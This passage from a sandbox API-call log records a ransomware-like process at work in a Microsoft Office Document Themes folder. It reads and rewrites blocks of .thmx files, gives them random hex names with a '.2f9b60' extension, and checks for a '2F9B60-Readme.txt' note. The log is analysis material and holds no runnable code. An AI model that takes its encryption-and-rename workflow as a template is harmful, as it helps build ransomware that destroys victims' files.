_Format="%c%c" | out: _Dest="72") returned 2 [0088.423] RtlInitAnsiString (in: DestinationString=0x2477f7a8, SourceString="7f8b600f6cbf6a228a02e9fc1365d41e2e22dc72" | out: DestinationString="7f8b600f6cbf6a228a02e9fc1365d41e2e22dc72") [0088.423] RtlAnsiStringToUnicodeString (in: DestinationString=0x2477f778, SourceString="7f8b600f6cbf6a228a02e9fc1365d41e2e22dc72", AllocateDestinationString=1 | out: DestinationString="7f8b600f6cbf6a228a02e9fc1365d41e2e22dc72") returned 0x0 [0088.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9d370 [0088.423] wcscat (in: _Dest=0x1b7ad2a0, _Source="7f8b600f6c" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\7f8b600f6c") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\7f8b600f6c" [0088.423] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\7f8b600f6c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\7f8b600f6c.2f9b60" [0088.423] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\7f8b600f6c.2f9b60", NtPathName=0x2477f750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\7f8b600f6c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0088.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x106e80 [0088.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0088.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0088.425] NtQueryInformationFile (in: FileHandle=0xa40, IoStatusBlock=0x2477f7b8, FileInformation=0x2477f7c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2477f7b8, FileInformation=0x2477f7c8) returned 0x0 [0088.425] NtSetInformationFile (FileHandle=0xa40, IoStatusBlock=0x2477f7b8, FileInformation=0x2477f7c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0088.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d370) returned 1 [0088.426] FlushFileBuffers (hFile=0xa40) returned 1 [0088.428] CloseHandle (hObject=0xa40) returned 1 [0088.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad2a0 [0088.428] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0088.429] wcscat (in: _Dest=0x1b7ad2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0088.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0088.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7846d0) returned 1 Thread: id = 330 os_tid = 0xe58 [0088.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx")) returned 0x20 [0088.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx", dwFileAttributes=0x20) returned 1 [0088.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa40 [0088.440] GetFileSizeEx (in: hFile=0xa40, lpFileSize=0x2492fb20 | out: lpFileSize=0x2492fb20*=67060) returned 1 [0088.440] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x105f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.440] ReadFile (in: hFile=0xa40, lpBuffer=0x2492faa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2492fae8, lpOverlapped=0x0 | out: lpBuffer=0x2492faa0*, lpNumberOfBytesRead=0x2492fae8*=0x4, lpOverlapped=0x0) returned 1 [0088.444] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0088.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a030 [0088.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0088.444] NtQuerySystemTime (in: CurrentTime=0x2492f9e0 | out: CurrentTime=0x2492f9e0*=132462176943094000) returned 0x0 [0088.444] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x6f5a457f [0088.444] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x86a1df7 [0088.444] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x27f95cd2 [0088.444] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x2aff56c8 [0088.444] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x19d5d3ee [0088.444] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x5077b4 [0088.444] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x3bd3fc3 [0088.444] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x63127ede [0088.445] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x5f41a5ff [0088.445] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x636895ee [0088.445] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x264df0ad [0088.445] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x54b4963a [0088.445] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x41b54f70 [0088.445] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x5c604ad7 [0088.445] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x4546916d [0088.445] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x31c29f9f [0088.445] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x29788e62 [0088.445] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x554f1f36 [0088.445] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x9a4ccf5 [0088.445] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x4d23a2c5 [0088.445] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x7f0d8ac2 [0088.445] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x6facd953 [0088.445] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x7d0b61c2 [0088.445] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x4680b429 [0088.445] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x33849cc6 [0088.445] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x57dcda8b [0088.445] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x148d615e [0088.445] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x117c145a [0088.445] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x7d611342 [0088.445] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x7209b53d [0088.445] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x65d783cc [0088.445] RtlRandomEx (in: Seed=0x2492f9d0 | out: Seed=0x2492f9d0) returned 0x3715e480 [0088.453] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.453] ReadFile (in: hFile=0xa40, lpBuffer=0x1ce59900, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2492fa40, lpOverlapped=0x0 | out: lpBuffer=0x1ce59900*, lpNumberOfBytesRead=0x2492fa40*=0x3c00, lpOverlapped=0x0) returned 1 [0088.457] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0088.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0088.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a0c0) returned 1 [0088.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce5d510 [0088.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0088.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0088.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e50) returned 1 [0088.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0088.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.458] WriteFile (in: hFile=0xa40, lpBuffer=0x1ce5d510*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2492fa40, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesWritten=0x2492fa40*=0x3c00, lpOverlapped=0x0) returned 1 [0088.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d510) returned 1 [0088.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59900) returned 1 [0088.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b859e50 [0088.481] SetFilePointerEx (in: hFile=0xa40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0088.481] WriteFile (in: hFile=0xa40, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2492faf0, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x2492faf0*=0x10a, lpOverlapped=0x0) returned 1 [0088.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0088.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d60 [0088.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859d60) returned 1 [0088.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0088.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d60 [0088.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d00 [0088.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859d00) returned 1 [0088.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0088.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f970 [0088.495] sprintf (in: _Dest=0x1cd9f970, _Format="%c%c" | out: _Dest="98") returned 2 [0088.495] sprintf (in: _Dest=0x1cd9f972, _Format="%c%c" | out: _Dest="1c") returned 2 [0088.495] sprintf (in: _Dest=0x1cd9f974, _Format="%c%c" | out: _Dest="08") returned 2 [0088.495] sprintf (in: _Dest=0x1cd9f976, _Format="%c%c" | out: _Dest="87") returned 2 [0088.495] sprintf (in: _Dest=0x1cd9f978, _Format="%c%c" | out: _Dest="29") returned 2 [0088.495] sprintf (in: _Dest=0x1cd9f97a, _Format="%c%c" | out: _Dest="88") returned 2 [0088.495] sprintf (in: _Dest=0x1cd9f97c, _Format="%c%c" | out: _Dest="ae") returned 2 [0088.495] sprintf (in: _Dest=0x1cd9f97e, _Format="%c%c" | out: _Dest="7f") returned 2 [0088.495] sprintf (in: _Dest=0x1cd9f980, _Format="%c%c" | out: _Dest="94") returned 2 [0088.495] sprintf (in: _Dest=0x1cd9f982, _Format="%c%c" | out: _Dest="cb") returned 2 [0088.495] sprintf (in: _Dest=0x1cd9f984, _Format="%c%c" | out: _Dest="ff") returned 2 [0088.495] sprintf (in: _Dest=0x1cd9f986, _Format="%c%c" | out: _Dest="1f") returned 2 [0088.495] sprintf (in: _Dest=0x1cd9f988, _Format="%c%c" | out: _Dest="d3") returned 2 [0088.495] sprintf (in: _Dest=0x1cd9f98a, _Format="%c%c" | out: _Dest="40") returned 2 [0088.495] sprintf (in: _Dest=0x1cd9f98c, _Format="%c%c" | out: _Dest="ef") returned 2 [0088.495] sprintf (in: _Dest=0x1cd9f98e, _Format="%c%c" | out: _Dest="79") returned 2 [0088.495] sprintf (in: _Dest=0x1cd9f990, _Format="%c%c" | out: _Dest="bb") returned 2 [0088.495] sprintf (in: _Dest=0x1cd9f992, _Format="%c%c" | out: _Dest="bc") returned 2 [0088.495] sprintf (in: _Dest=0x1cd9f994, _Format="%c%c" | out: _Dest="9d") returned 2 [0088.495] sprintf (in: _Dest=0x1cd9f996, _Format="%c%c" | out: _Dest="fd") returned 2 [0088.495] sprintf (in: _Dest=0x1cd9f998, _Format="%c%c" | out: _Dest="38") returned 2 [0088.495] sprintf (in: _Dest=0x1cd9f99a, _Format="%c%c" | out: _Dest="e2") returned 2 [0088.495] sprintf (in: _Dest=0x1cd9f99c, _Format="%c%c" | out: _Dest="af") returned 2 [0088.496] sprintf (in: _Dest=0x1cd9f99e, _Format="%c%c" | out: _Dest="d1") returned 2 [0088.496] RtlInitAnsiString (in: DestinationString=0x2492fb68, SourceString="981c08872988ae7f94cbff1fd340ef79bbbc9dfd38e2afd1" | out: DestinationString="981c08872988ae7f94cbff1fd340ef79bbbc9dfd38e2afd1") [0088.496] RtlAnsiStringToUnicodeString (in: DestinationString=0x2492fb38, SourceString="981c08872988ae7f94cbff1fd340ef79bbbc9dfd38e2afd1", AllocateDestinationString=1 | out: DestinationString="981c08872988ae7f94cbff1fd340ef79bbbc9dfd38e2afd1") returned 0x0 [0088.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c2210 [0088.496] wcscat (in: _Dest=0x1b7ad2a0, _Source="981c08872988" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\981c08872988") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\981c08872988" [0088.496] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\981c08872988.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\981c08872988.2f9b60" [0088.496] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\981c08872988.2f9b60", NtPathName=0x2492fb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\981c08872988.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0088.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x106e80 [0088.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0088.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0088.498] NtQueryInformationFile (in: FileHandle=0xa40, IoStatusBlock=0x2492fb78, FileInformation=0x2492fb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2492fb78, FileInformation=0x2492fb88) returned 0x0 [0088.498] NtSetInformationFile (FileHandle=0xa40, IoStatusBlock=0x2492fb78, FileInformation=0x2492fb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0088.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2210) returned 1 [0088.500] FlushFileBuffers (hFile=0xa40) returned 1 [0088.503] CloseHandle (hObject=0xa40) returned 1 [0088.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad2a0 [0088.504] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0088.504] wcscat (in: _Dest=0x1b7ad2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0088.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0088.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784760) returned 1 Thread: id = 331 os_tid = 0xe5c [0088.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\composite.thmx")) returned 0x20 [0088.454] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx", dwFileAttributes=0x20) returned 1 [0088.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\composite.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa3c [0088.455] GetFileSizeEx (in: hFile=0xa3c, lpFileSize=0x248afa20 | out: lpFileSize=0x248afa20*=568653) returned 1 [0088.455] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x8ad49, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.455] ReadFile (in: hFile=0xa3c, lpBuffer=0x248af9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x248af9e8, lpOverlapped=0x0 | out: lpBuffer=0x248af9a0*, lpNumberOfBytesRead=0x248af9e8*=0x4, lpOverlapped=0x0) returned 1 [0088.460] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0088.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d30 [0088.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a090 [0088.460] NtQuerySystemTime (in: CurrentTime=0x248af8e0 | out: CurrentTime=0x248af8e0*=132462176943250000) returned 0x0 [0088.460] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x5d5b839a [0088.460] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x3533200e [0088.460] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x151bee59 [0088.460] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x4328ac21 [0088.460] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x7aa49f50 [0088.460] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x12ed01a2 [0088.460] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0xb3aecfd [0088.460] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x505eb08f [0088.460] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x1049a7c5 [0088.460] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x23e09271 [0088.460] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x697e72be [0088.460] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x4f1dfb08 [0088.460] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x3e865e9 [0088.460] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x68060289 [0088.460] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x52699688 [0088.460] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x7a0be5ad [0088.460] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x64c2d32d [0088.460] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x4093d7f [0088.460] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0xf10891 [0088.460] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x7c352602 [0088.461] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0xb4d6fa4 [0088.461] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x2e604918 [0088.461] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x27b4cb06 [0088.461] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x4da288ec [0088.461] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x76d1c23f [0088.461] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x6c2f3eb2 [0088.461] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x8b3141a [0088.461] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x54496650 [0088.461] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x4267bec0 [0088.461] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x3f1d37cf [0088.461] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x4443538e [0088.461] RtlRandomEx (in: Seed=0x248af8d0 | out: Seed=0x248af8d0) returned 0x33441fbe [0088.469] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.469] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce61120, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x248af940, lpOverlapped=0x0 | out: lpBuffer=0x1ce61120*, lpNumberOfBytesRead=0x248af940*=0x3c00, lpOverlapped=0x0) returned 1 [0088.491] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0088.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d90 [0088.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859d90) returned 1 [0088.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce59900 [0088.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d90 [0088.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d60 [0088.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859d60) returned 1 [0088.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0088.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.492] WriteFile (in: hFile=0xa3c, lpBuffer=0x1ce59900*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x248af940, lpOverlapped=0x0 | out: lpBuffer=0x1ce59900*, lpNumberOfBytesWritten=0x248af940*=0x3c00, lpOverlapped=0x0) returned 1 [0088.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59900) returned 1 [0088.501] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x47400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.501] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce61120, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x248af940, lpOverlapped=0x0 | out: lpBuffer=0x1ce61120*, lpNumberOfBytesRead=0x248af940*=0x3c00, lpOverlapped=0x0) returned 1 [0088.506] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x47400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0088.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0f0 [0088.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a0f0) returned 1 [0088.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce59900 [0088.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0f0 [0088.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a060 [0088.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a060) returned 1 [0088.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0088.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.506] WriteFile (in: hFile=0xa3c, lpBuffer=0x1ce59900*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x248af940, lpOverlapped=0x0 | out: lpBuffer=0x1ce59900*, lpNumberOfBytesWritten=0x248af940*=0x3c00, lpOverlapped=0x0) returned 1 [0088.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59900) returned 1 [0088.531] SetFilePointerEx (in: hFile=0xa3c, 